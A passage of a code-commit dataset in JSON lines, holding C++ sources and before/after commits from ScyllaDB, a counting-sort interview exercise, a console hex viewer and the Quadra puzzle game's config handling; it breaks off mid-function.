with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 ScyllaDB\n *\n * Modified by ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"cql3\/keyspace_element_name.hh\"\n\nnamespace cql3 {\n\nvoid keyspace_element_name::set_keyspace(std::string_view ks, bool keep_case)\n{\n    _ks_name = to_internal_name(ks, keep_case);\n}\n\nbool keyspace_element_name::has_keyspace() const\n{\n    return bool(_ks_name);\n}\n\nconst sstring& keyspace_element_name::get_keyspace() const\n{\n    assert(_ks_name);\n    return *_ks_name;\n}\n\nsstring keyspace_element_name::to_internal_name(std::string_view view, bool keep_case)\n{\n    sstring name(view);\n    if (!keep_case) {\n        std::transform(name.begin(), name.end(), name.begin(), ::tolower);\n    }\n    return name;\n}\n\nsstring keyspace_element_name::to_string() const\n{\n    return has_keyspace() ? (get_keyspace() + \".\") : \"\";    \n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/美团校招2015 哈尔滨(2)\n\/\/有一组随机排列的字母数组，请编写一个时间复杂度为O(n)的算法，使得这些字母从小到大顺序排好。\n\/\/说明：字母区分大小写，相同的字母，排序后小写排在大写前。\n\/\/例如：R,B,B,b,W,W,B,R,B,w\n\/\/排序后：b,B,B,B,B,R,R,w,W,W\n\/\/1)描写思路（2分）\n\/\/2）请用你熟悉的编程语言编写代码实现（8分）\n#include <iostream>\n#include <cstring>\nusing namespace std;\n\nstring countsort(string &s)\n{\n  const int SIZE = 26;\n  const int GAP = 32;\n  int count[SIZE];\n  memset(count, 0, sizeof(count));\n  for (auto c : s) {\n    int index = c - 'A';\n    \/\/ when c is lowerletter count its number to the upper too\n    if (index > SIZE)\n      index -= GAP;\n    count[index]++;\n  }\n  for (int i = 1; i < SIZE; i++) {\n    count[i] += count[i - 1];\n  }\n\n  string result;\n  result.reserve(s.size());\n\n  for (auto riter = s.rbegin(); riter != s.rend(); ++riter) {\n    int index = *riter - 'A';\n    \/\/ when c is lowerletter, put it to the (index - 1)'s count pos..\n    \/\/ great!!\n    if (index > SIZE) {\n      index -= GAP;\n      result[count[index - 1]] = *riter;\n      continue;\n    }\n    result[count[index] - 1] = *riter;\n    count[index]--;\n  }\n\n  return result;\n}\n\nint main()\n{\n  string s(\"RBBbWWBRBw\");\n  cout << s << endl;\n  string result = countsort(s);\n\n  cout << result.data() << endl;\n\n  return 0;\n}\n<commit_msg>Update countsort.cc<commit_after>\/\/美团校招2015 哈尔滨(2)\n\/\/有一组随机排列的字母数组，请编写一个时间复杂度为O(n)的算法，使得这些字母从小到大顺序排好。\n\/\/说明：字母区分大小写，相同的字母，排序后小写排在大写前。\n\/\/例如：R,B,B,b,W,W,B,R,B,w\n\/\/排序后：b,B,B,B,B,R,R,w,W,W\n\/\/1)描写思路（2分）\n\/\/2）请用你熟悉的编程语言编写代码实现（8分）\n#include <iostream>\n#include <cstring>\nusing namespace std;\n\nstring countsort(string &s)\n{\n  const int SIZE = 26;\n  const int GAP = 32;\n  int count[SIZE];\n  memset(count, 0, sizeof(count));\n  for (auto c : s) {\n    int index = c - 'A';\n    \/\/ when c is lowerletter count its number to the upper too\n    if (index > SIZE)\n      index -= GAP;\n    count[index]++;\n  }\n  for (int i = 1; i < SIZE; i++) {\n    count[i] += count[i - 1];\n  }\n\n  string result;\n  result.reserve(s.size());\n\n  for (auto riter = s.rbegin(); riter != s.rend(); ++riter) {\n    int index = *riter - 'A';\n    \/\/ when c is lowerletter, put it to the (index - 1)'s count pos..\n    \/\/ great!!\n    if (index > SIZE) {\n      index -= GAP;\n      result[count[index - 1]] = *riter;\n      \/\/ decrease the corresponding count\n      count[index]--;\n      continue;\n    }\n    result[count[index] - 1] = *riter;\n    count[index]--;\n  }\n\n  return result;\n}\n\nint main()\n{\n  string s(\"RBBbWWBRBw\");\n  cout << s << endl;\n  string result = countsort(s);\n\n  cout << result.data() << endl;\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"HexView.h\"\n#include \"Log.h\"\n#include <stdio.h>\n#include <assert.h>\n\nHexView::HexView(const char* filename, Window* parent) : Window(parent)\n{\n    m_fp = 0;\n    m_buffer = 0;\n    m_topLine = 0;\n    m_selected = 0;\n    fopen_s(&m_fp, filename, \"rb\");\n    if (m_fp)\n    {\n        fseek(m_fp, 0, SEEK_END);\n        m_fileSize = ftell(m_fp);\n        fseek(m_fp, 0, SEEK_SET);\n    }\n}\n\nHexView::~HexView()\n{\n    if (m_fp)\n        fclose(m_fp);\n}\n\nvoid HexView::OnWindowRefreshed()\n{\n    Window::OnWindowRefreshed();\n\n    s_consoleBuffer->FillRect(0, 1, m_width, m_height, ' ', FOREGROUND_RED);\n    s_consoleBuffer->FillLine(m_height + 1, ' ', BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_RED);\n    s_consoleBuffer->Write(2, m_height + 1, BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_RED, \"%08X \/ %08X\", m_selected, m_fileSize - 1);\n\n    if (!m_fp)\n        return;\n\n    assert(m_buffer);\n    int offset = m_topLine << 4;\n    int selectedLine = GetSelectedLine();\n    bool done = false;\n\n    for (int j = 0; j < m_height; j++)\n    {\n        int y = 1 + j;\n        int x = 2;\n        WORD colour = 0;\n\n        int curr = (m_selected >> 4) * (m_height - 1) \/ (m_fileSize >> 4);\n        char c = j == curr ? 178 : 176;\n        s_consoleBuffer->Write(0, y, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY, \"%c\", c);\n\n        if (done)\n            continue;\n\n        if ((offset >> 4) == selectedLine)\n        {\n            \/\/ Highlight the selected line's offset text.\n            colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n        }\n        else\n        {\n            colour = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;\n        }\n\n        s_consoleBuffer->Write(x, y, colour, \"%08X\", offset);\n        x += 9;\n\n        for (int i = 0; i < 16; i++, offset++)\n        {\n            int bufferIndex = offset - (m_topLine << 4);\n            if (offset >= m_fileSize)\n            {\n                done = true;\n                break;\n            }\n\n            assert(bufferIndex >= 0 && bufferIndex < m_fileSize);\n            unsigned char c = m_buffer[bufferIndex];\n\n            if (offset == m_selected)\n            {\n                \/\/ Highlight the selected byte.\n                colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n            }\n            else\n            {\n                colour = FOREGROUND_GREEN;\n            }\n\n            int xx = x + (i * 3);\n            s_consoleBuffer->Write(xx, y, colour, \"%02X\", c);\n\n            xx = x + (16 * 3) + i;\n            if (c < ' ')\n                c = '.';\n\n            if (offset == m_selected)\n            {\n                \/\/ Highlight the selected character.\n                colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n            }\n            else\n            {\n                colour = FOREGROUND_GREEN | FOREGROUND_INTENSITY;\n            }\n            s_consoleBuffer->Write(xx, y, colour, \"%c\", c);\n        }\n    }\n}\n\nvoid HexView::OnWindowResized(int width, int height)\n{\n    \/\/ Our height is actually smaller.\n    height -= 2;\n    Window::OnWindowResized(width, height);\n    CacheFile(true);\n}\n\nvoid HexView::CacheFile(bool resizeBuffer)\n{\n    if (!m_fp)\n        return;\n\n    assert(m_topLine >= 0);\n    int offset = m_topLine << 4;\n    assert(offset >= 0 && offset < m_fileSize);\n\n    if (resizeBuffer)\n    {\n        assert(m_height >= 0);\n        int screenSize = m_height << 4;\n\n        delete[] m_buffer;\n        m_bufferSize = offset + screenSize >= m_fileSize ? m_fileSize - offset : screenSize;\n        m_buffer = new unsigned char[m_bufferSize];\n        memset(m_buffer, 0, m_bufferSize);\n    }\n\n    fseek(m_fp, offset, SEEK_SET);\n    fread_s(m_buffer, m_bufferSize, 1, m_bufferSize, m_fp);\n}\n\nvoid HexView::OnKeyEvent(KeyEvent& keyEvent)\n{\n    Window::OnKeyEvent(keyEvent);\n\n    if (!keyEvent.IsKeyDown())\n        return;\n\n    bool refresh = true;\n    bool fullDraw = false;\n\n    switch (keyEvent.GetVKKeyCode())\n    {\n        case VK_LEFT:\n        {\n            m_selected = max(m_selected - 1, 0);\n            int selectedLine = GetSelectedLine();\n            if (selectedLine < m_topLine)\n            {\n                m_topLine--;\n                assert(m_topLine >= 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_RIGHT:\n        {\n            m_selected = min(m_selected + 1, m_fileSize - 1);\n            int selectedLine = GetSelectedLine();\n            int bottomLine = GetBottomLine();\n            if (selectedLine > bottomLine)\n            {\n                m_topLine++;\n                assert((m_topLine << 4) < m_fileSize);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_UP:\n        {\n            refresh = false;\n            int selectedLine = GetSelectedLine();\n            if (selectedLine == 0)\n                break;\n\n            refresh = true;\n            m_selected = max(m_selected - 16, 0);\n            selectedLine = GetSelectedLine();\n            if (selectedLine < m_topLine)\n            {\n                m_topLine--;\n                assert(m_topLine >= 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_DOWN:\n        {\n            refresh = false;\n            int selectedLine = GetSelectedLine();\n            int lastLine = GetLastLine();\n\n            \/\/ If on the last line, don't move anywhere.\n            if (selectedLine == lastLine)\n                break;\n\n            refresh = true;\n            m_selected = min(m_selected + 16, m_fileSize - 1);\n            selectedLine = GetSelectedLine();\n\n            int bottomLine = GetBottomLine();\n            if (selectedLine > bottomLine)\n            {\n                m_topLine++;\n                assert((m_topLine << 4) < m_fileSize);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_HOME:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                m_selected = 0;\n                m_topLine = 0;\n                fullDraw = true;\n                CacheFile();\n            }\n            else\n            {\n                m_selected &= ~15;\n            }\n            break;\n        }\n\n        case VK_END:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                m_selected = m_fileSize - 1;\n                int selectedLine = GetSelectedLine();\n                m_topLine = max(selectedLine - m_height + 1, 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            else\n            {\n                m_selected = min(m_selected | 15, m_fileSize - 1);\n            }\n            break;\n        }\n\n        \/\/ Page down.\n        case VK_NEXT:\n        {\n            \/\/ Current selection column in the last line.\n            int lastLineSelected = min(((m_fileSize - 1) & ~0xf) | (m_selected & 0xf), m_fileSize - 1);\n\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                \/\/ Control is down. Go to the bottom of the current page.\n                int bottomLine = GetBottomLine();\n\n                \/\/ Select the offset at the bottom of the current page.\n                m_selected = min((bottomLine << 4) | (m_selected & 0xf), lastLineSelected);\n            }\n            else\n            {\n                int selectedLine = GetSelectedLine();\n\n                \/\/ Get the current distance from the selection to the top line.\n                int delta = selectedLine - m_topLine;\n\n                \/\/ Select the offset at one page down from the current.\n                m_selected = min(m_selected + (m_height << 4), lastLineSelected);\n\n                \/\/ Determine if we need to update the top line.\n                selectedLine = GetSelectedLine();\n                int bottomLine = GetBottomLine();\n                if (selectedLine > bottomLine)\n                {\n                    \/\/ Update the top line, but maintain the current selection distance so the cursor\n                    \/\/ never moves.\n                    m_topLine = max(selectedLine - delta, 0);\n                    fullDraw = true;\n                    CacheFile();\n                }\n            }\n            break;\n        }\n\n        \/\/ Page up.\n        case VK_PRIOR:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                \/\/ Control is down. Go to the top of the current page.\n                \/\/ Select the offset at the top of the current page.\n                m_selected = (m_topLine << 4) | m_selected & 0xf;\n            }\n            else\n            {\n                int selectedLine = GetSelectedLine();\n\n                \/\/ Get the current distance from the selection to the top line.\n                int delta = selectedLine - m_topLine;\n\n                \/\/ Select the offset at one page up from the current.\n                m_selected = max(m_selected - (m_height << 4), (m_selected & 0xf));\n\n                \/\/ Determine if we need to update the top line.\n                selectedLine = GetSelectedLine();\n                if (selectedLine < m_topLine)\n                {\n                    \/\/ Update the top line, but maintain the current selection distance so the cursor\n                    \/\/ never moves.\n                    m_topLine = max(selectedLine - delta, 0);\n                    fullDraw = true;\n                    CacheFile();\n                }\n            }\n            break;\n        }\n\n        case VK_F5:\n        {\n            fullDraw = true;\n            break;\n        }\n    }\n\n    if (refresh)\n        Window::Refresh(fullDraw);\n}\n<commit_msg>Handle files of 0 size or files that failed to load.<commit_after>#include \"HexView.h\"\n#include \"Log.h\"\n#include <stdio.h>\n#include <assert.h>\n\nHexView::HexView(const char* filename, Window* parent) : Window(parent)\n{\n    m_fp = 0;\n    m_buffer = 0;\n    m_topLine = 0;\n    m_selected = 0;\n    m_fileSize = 0;\n    fopen_s(&m_fp, filename, \"rb\");\n    if (m_fp)\n    {\n        fseek(m_fp, 0, SEEK_END);\n        m_fileSize = ftell(m_fp);\n        fseek(m_fp, 0, SEEK_SET);\n    }\n}\n\nHexView::~HexView()\n{\n    if (m_fp)\n        fclose(m_fp);\n}\n\nvoid HexView::OnWindowRefreshed()\n{\n    Window::OnWindowRefreshed();\n\n    s_consoleBuffer->FillRect(0, 1, m_width, m_height, ' ', FOREGROUND_RED);\n    s_consoleBuffer->FillLine(m_height + 1, ' ', BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_RED);\n    s_consoleBuffer->Write(2, m_height + 1, BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_RED, \"%08X \/ %08X\", m_selected, max(m_fileSize - 1, 0));\n\n    if (!m_fp)\n        return;\n\n    assert(m_buffer);\n    int offset = m_topLine << 4;\n    int selectedLine = GetSelectedLine();\n    bool done = false;\n\n    for (int j = 0; j < m_height; j++)\n    {\n        int y = 1 + j;\n        int x = 2;\n        WORD colour = 0;\n\n        int curr = (m_selected >> 4) * (m_height - 1) \/ (m_fileSize >> 4);\n        char c = j == curr ? 178 : 176;\n        s_consoleBuffer->Write(0, y, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY, \"%c\", c);\n\n        if (done)\n            continue;\n\n        if ((offset >> 4) == selectedLine)\n        {\n            \/\/ Highlight the selected line's offset text.\n            colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n        }\n        else\n        {\n            colour = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;\n        }\n\n        s_consoleBuffer->Write(x, y, colour, \"%08X\", offset);\n        x += 9;\n\n        for (int i = 0; i < 16; i++, offset++)\n        {\n            int bufferIndex = offset - (m_topLine << 4);\n            if (offset >= m_fileSize)\n            {\n                done = true;\n                break;\n            }\n\n            assert(bufferIndex >= 0 && bufferIndex < m_fileSize);\n            unsigned char c = m_buffer[bufferIndex];\n\n            if (offset == m_selected)\n            {\n                \/\/ Highlight the selected byte.\n                colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n            }\n            else\n            {\n                colour = FOREGROUND_GREEN;\n            }\n\n            int xx = x + (i * 3);\n            s_consoleBuffer->Write(xx, y, colour, \"%02X\", c);\n\n            xx = x + (16 * 3) + i;\n            if (c < ' ')\n                c = '.';\n\n            if (offset == m_selected)\n            {\n                \/\/ Highlight the selected character.\n                colour = BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_INTENSITY;\n            }\n            else\n            {\n                colour = FOREGROUND_GREEN | FOREGROUND_INTENSITY;\n            }\n            s_consoleBuffer->Write(xx, y, colour, \"%c\", c);\n        }\n    }\n}\n\nvoid HexView::OnWindowResized(int width, int height)\n{\n    \/\/ Our height is actually smaller.\n    height -= 2;\n    Window::OnWindowResized(width, height);\n    CacheFile(true);\n}\n\nvoid HexView::CacheFile(bool resizeBuffer)\n{\n    if (!m_fp)\n        return;\n\n    assert(m_topLine >= 0);\n    int offset = m_topLine << 4;\n    assert(offset >= 0 && offset < m_fileSize);\n\n    if (resizeBuffer)\n    {\n        assert(m_height >= 0);\n        int screenSize = m_height << 4;\n\n        delete[] m_buffer;\n        m_bufferSize = offset + screenSize >= m_fileSize ? m_fileSize - offset : screenSize;\n        m_buffer = new unsigned char[m_bufferSize];\n        memset(m_buffer, 0, m_bufferSize);\n    }\n\n    fseek(m_fp, offset, SEEK_SET);\n    fread_s(m_buffer, m_bufferSize, 1, m_bufferSize, m_fp);\n}\n\nvoid HexView::OnKeyEvent(KeyEvent& keyEvent)\n{\n    Window::OnKeyEvent(keyEvent);\n\n    if (!keyEvent.IsKeyDown())\n        return;\n\n    bool refresh = true;\n    bool fullDraw = false;\n\n    switch (keyEvent.GetVKKeyCode())\n    {\n        case VK_LEFT:\n        {\n            m_selected = max(m_selected - 1, 0);\n            int selectedLine = GetSelectedLine();\n            if (selectedLine < m_topLine)\n            {\n                m_topLine--;\n                assert(m_topLine >= 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_RIGHT:\n        {\n            m_selected = max(min(m_selected + 1, m_fileSize - 1), 0);\n            int selectedLine = GetSelectedLine();\n            int bottomLine = GetBottomLine();\n            if (selectedLine > bottomLine)\n            {\n                m_topLine++;\n                assert((m_topLine << 4) < m_fileSize);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_UP:\n        {\n            refresh = false;\n            int selectedLine = GetSelectedLine();\n            if (selectedLine == 0)\n                break;\n\n            refresh = true;\n            m_selected = max(m_selected - 16, 0);\n            selectedLine = GetSelectedLine();\n            if (selectedLine < m_topLine)\n            {\n                m_topLine--;\n                assert(m_topLine >= 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_DOWN:\n        {\n            refresh = false;\n            int selectedLine = GetSelectedLine();\n            int lastLine = GetLastLine();\n\n            \/\/ If on the last line, don't move anywhere.\n            if (selectedLine == lastLine)\n                break;\n\n            refresh = true;\n            m_selected = max(min(m_selected + 16, m_fileSize - 1), 0);\n            selectedLine = GetSelectedLine();\n\n            int bottomLine = GetBottomLine();\n            if (selectedLine > bottomLine)\n            {\n                m_topLine++;\n                assert((m_topLine << 4) < m_fileSize);\n                fullDraw = true;\n                CacheFile();\n            }\n            break;\n        }\n\n        case VK_HOME:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                m_selected = 0;\n                m_topLine = 0;\n                fullDraw = true;\n                CacheFile();\n            }\n            else\n            {\n                m_selected &= ~15;\n            }\n            break;\n        }\n\n        case VK_END:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                m_selected = max(m_fileSize - 1, 0);\n                int selectedLine = GetSelectedLine();\n                m_topLine = max(selectedLine - m_height + 1, 0);\n                fullDraw = true;\n                CacheFile();\n            }\n            else\n            {\n                m_selected = max(min(m_selected | 15, m_fileSize - 1), 0);\n            }\n            break;\n        }\n\n        \/\/ Page down.\n        case VK_NEXT:\n        {\n            \/\/ Current selection column in the last line.\n            int lastLineSelected = max(min(((m_fileSize - 1) & ~0xf) | (m_selected & 0xf), m_fileSize - 1), 0);\n\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                \/\/ Control is down. Go to the bottom of the current page.\n                int bottomLine = GetBottomLine();\n\n                \/\/ Select the offset at the bottom of the current page.\n                m_selected = min((bottomLine << 4) | (m_selected & 0xf), lastLineSelected);\n            }\n            else\n            {\n                int selectedLine = GetSelectedLine();\n\n                \/\/ Get the current distance from the selection to the top line.\n                int delta = selectedLine - m_topLine;\n\n                \/\/ Select the offset at one page down from the current.\n                m_selected = min(m_selected + (m_height << 4), lastLineSelected);\n\n                \/\/ Determine if we need to update the top line.\n                selectedLine = GetSelectedLine();\n                int bottomLine = GetBottomLine();\n                if (selectedLine > bottomLine)\n                {\n                    \/\/ Update the top line, but maintain the current selection distance so the cursor\n                    \/\/ never moves.\n                    m_topLine = max(selectedLine - delta, 0);\n                    fullDraw = true;\n                    CacheFile();\n                }\n            }\n            break;\n        }\n\n        \/\/ Page up.\n        case VK_PRIOR:\n        {\n            if (keyEvent.IsControlKeyDown(LEFT_CTRL_PRESSED | RIGHT_CTRL_PRESSED))\n            {\n                \/\/ Control is down. Go to the top of the current page.\n                \/\/ Select the offset at the top of the current page.\n                m_selected = (m_topLine << 4) | m_selected & 0xf;\n            }\n            else\n            {\n                int selectedLine = GetSelectedLine();\n\n                \/\/ Get the current distance from the selection to the top line.\n                int delta = selectedLine - m_topLine;\n\n                \/\/ Select the offset at one page up from the current.\n                m_selected = max(m_selected - (m_height << 4), (m_selected & 0xf));\n\n                \/\/ Determine if we need to update the top line.\n                selectedLine = GetSelectedLine();\n                if (selectedLine < m_topLine)\n                {\n                    \/\/ Update the top line, but maintain the current selection distance so the cursor\n                    \/\/ never moves.\n                    m_topLine = max(selectedLine - delta, 0);\n                    fullDraw = true;\n                    CacheFile();\n                }\n            }\n            break;\n        }\n\n        case VK_F5:\n        {\n            fullDraw = true;\n            break;\n        }\n    }\n\n    if (refresh)\n        Window::Refresh(fullDraw);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; c-basic-offset: 2; tab-width: 2; indent-tabs-mode: nil -*-\n * \n * Quadra, an action puzzle game\n * Copyright (C) 1998-2000  Ludus Design\n * \n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#include \"cfgfile.h\"\n\n#include <string.h>\n#include <stdio.h>\n#include \"input.h\"\n#include \"res.h\"\n#include \"global.h\"\n#include \"crypt.h\"\n#include \"video.h\"\n#include \"version.h\"\n#include \"unicode.h\"\n\nRCSID(\"$Id$\")\n\nconst int Config::game_version = 19;\nint Config::net_version = 24;\n\nconst int Config::major = VERSION_MAJOR;\nconst int Config::minor = VERSION_MINOR;\nconst int Config::patchlevel = VERSION_PATCHLEVEL;\n\n\/* FIXME: we should remove all occurence of Config::xtreme *\/\nbool Config::xtreme = false;\nchar Config::user_name[64] = {\"\"};\n\nConfig::Config() {\n\tfname[0]=0;\n}\n\nConfig::~Config() {\n}\n\nvoid Config::default_config() {\n\tmemset(&version, 0, sizeof(version));\n\tmemset(&info, 0, sizeof(info));\n\tmemset(player, 0, sizeof(player));\n\tmemset(player2, 0, sizeof(player2));\n\tmemset(&info2, 0, sizeof(info2));\n\tmemset(&info3, 0, sizeof(info3));\n\tinfo.language = 0;\n\tinfo.setup_player = 0;\n\tinfo.cdmusic = 0; \/\/ 0=no music  1=auto-change  2=loop all\n\tinfo.multi_level = 1;\n\tinfo.unlock_theme = 0;\n\tinfo.port_number = 3456;\n\tinfo.mouse_speed = 100;\n\tinfo.pane[0] = 2;\n\tinfo.pane[1] = 0;\n\tinfo.pane[2] = 3;\n\tinfo.update_rate = 10;\n\tmemset(info.book, sizeof(info.book), 0);\n\tinfo.game_name[0] = 0;\n\tinfo.game_type = info.level_up = info.level_start = info.combo_min = info.game_end = 0;\n\tinfo.game_public = 1;\n\tinfo.game_end_value = 1;\n\n\tfor(int i=0; i<3; i++) {\n\t\tsprintf(st,\"#%i\", i+1);\n\t\tstrcpy(player[i].name, st);\n\t\tplayer[i].color = i;\n\t\tplayer[i].shadow = 0;\n\t\tplayer[i].smooth = 1;\n\t\tplayer[i].repeat = -1;\n\t\tplayer2[i].h_repeat = 2;\n\t\tplayer2[i].v_repeat = 2;\n\t\tplayer2[i].continuous = 1;\n\t\tplayer[i].key[0] = KEY_LEFTARROW;\n\t\tplayer[i].key[1] = KEY_RIGHTARROW;\n\t\tplayer[i].key[2] = KEY_UPARROW;\n\t\tplayer[i].key[3] = KEY_DOWNARROW;\n\t\tplayer[i].key[4] = KEY_UPARROW;\n\t\tplayer2[i].key[0] = KEY_RSHIFT;\n\t\tplayer2[i].key[1] = KEY_SPACE;\n\t}\n}\n\nvoid Config::read() {\n\tif(!fname[0])\n\t\tsnprintf(fname, sizeof(fname) - 1, \"%s\/%s\", quadradir, \"quadra.cfg\");\n\n\tint i;\n\n\tRes_dos res(fname, RES_TRY);\n\tmemset(&version, 0, sizeof(version));\n\tmemset(&info, 0, sizeof(info));\n\tmemset(player, 0, sizeof(player));\n\tmemset(player2, 0, sizeof(player2));\n\tmemset(&info2, 0, sizeof(info2));\n\tmemset(&info3, 0, sizeof(info3));\n\twarning = 0;\n\tif(!res.exist) {\n\t\tdefault_config();\n\t\twarning = 1;\n\t} else {\n\t\tif(res.size() != (sizeof(version) + sizeof(info) + sizeof(player)) &&\n\t\t   res.size() != (sizeof(version) + sizeof(info) + sizeof(player) + sizeof(player2) + sizeof(info2)) &&\n       res.size() != (sizeof(version) + sizeof(info) + sizeof(player) + sizeof(player2) + sizeof(info2) + sizeof(info3))) {\n\t\t\tdefault_config();\n\t\t\twarning = 2;\n\t\t} else {\n\t\t\tversion = -1;\n\t\t\tres.read(&version, sizeof(version));\n\t\t\tif(version != game_version) {\n\t\t\t\tdefault_config();\n\t\t\t\twarning = 2;\n\t\t\t} else {\n\t\t\t\tres.read(&info, sizeof(info));\n\t\t\t\tres.read(player, sizeof(player));\n\t\t\t\t\/\/Those may not be present, but the default is all-zero anyway\n\t\t\t\tres.read(player2, sizeof(player2));\n\t\t\t\tres.read(&info2, sizeof(info2));\n\t\t\t\tres.read(&info3, sizeof(info3));\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif(info3.latest_version[0] == 0)\n\t{\n\t\tstrcpy(info3.latest_version, VERSION_STRING);\n\t}\n\n\tfor(i=0; i<3; i++) {\n\t\tplayer[i].name[39] = 0;\n\t\tif(player[i].color<0 || player[i].color>=MAXTEAMS)\n\t\t\tplayer[i].color=i;\n\t\tif(player[i].shadow<0 || player[i].shadow>1)\n\t\t\tplayer[i].shadow=1;\n\t\tif(player[i].smooth<0 || player[i].smooth>1)\n\t\t\tplayer[i].smooth=1;\n\t\tif(player[i].repeat<-1 || player[i].repeat>3)\n\t\t\tplayer2[i].h_repeat=player2[i].v_repeat=2;\n\t\telse\n\t\t\tif(player[i].repeat>=0) {\n\t\t\t\tplayer2[i].h_repeat=player[i].repeat;\n\t\t\t\tplayer2[i].v_repeat=player[i].repeat;\n\t\t\t}\n\t\tif(player2[i].h_repeat<0 || player2[i].h_repeat>3) {\n\t\t\tplayer2[i].h_repeat=2;\n\t\t}\n\t\tif(player2[i].v_repeat<0 || player2[i].v_repeat>3) {\n\t\t\tplayer2[i].v_repeat=2;\n\t\t}\n\t\tplayer[i].repeat = -1;\n\t\tif(player2[i].continuous<0 || player2[i].continuous>1)\n\t\t\tplayer2[i].continuous=1;\n\t\tif(player2[i].handicap<0 || player2[i].handicap>4)\n\t\t\tplayer2[i].handicap=0;\n\t\tplayer2[i].ngPasswd[63]=0;\n\t\tplayer2[i].ngTeam[39]=0;\n\t\tplayer2[i].ngTeamPasswd[63]=0;\n\t}\n\tfor(i=0; i<10; i++) {\n\t\tinfo.book[i][255] = 0;\n\t}\n\tinfo2.proxy_address[127] = 0;\n\tinfo3.last_modified[63] = 0;\n\tinfo3.default_game_server_address[255] = 0;\n\tinfo3.latest_version[255] = 0;\n}\n\nvoid fix_str(char *st, Dword len) {\n\tbool in_str(true);\n\n\tfor(Dword i = 0; i < len; ++i)\n\t\tif(!in_str)\n\t\t\tst[i] = 0;\n\t\telse\n\t\t\tif(!st[i])\n\t\t\t\tin_str = false;\n\tst[len - 1] = 0;\n}\n\nvoid Config::write() {\n\tint i;\n\tif(!fname[0])\n\t\tsnprintf(fname, sizeof(fname) - 1, \"%s\/%s\", quadradir, \"quadra.cfg\");\n\n\tif(!video_is_dumb) {\n\t\tRes_dos res(fname, RES_CREATE);\n\t\tif(res.exist) {\n\t\t\tversion = game_version;\n\t\t\tres.write(&version, sizeof(version));\n\t\t\tfor(i=0; i<10; i++)\n\t\t\t\tfix_str(info.book[i], 256);\n\t\t\tfix_str(info.game_name, 32);\n\t\t\tfix_str(info.game_server_address, 256);\n\t\t\tres.write(&info, sizeof(info));\n\t\t\tfor(i=0; i<3; i++) {\n\t\t\t\tfix_str(player[i].name, 40);\n\t\t\t\tfix_str(player2[i].ngPasswd, 64);\n\t\t\t\tfix_str(player2[i].ngTeam, 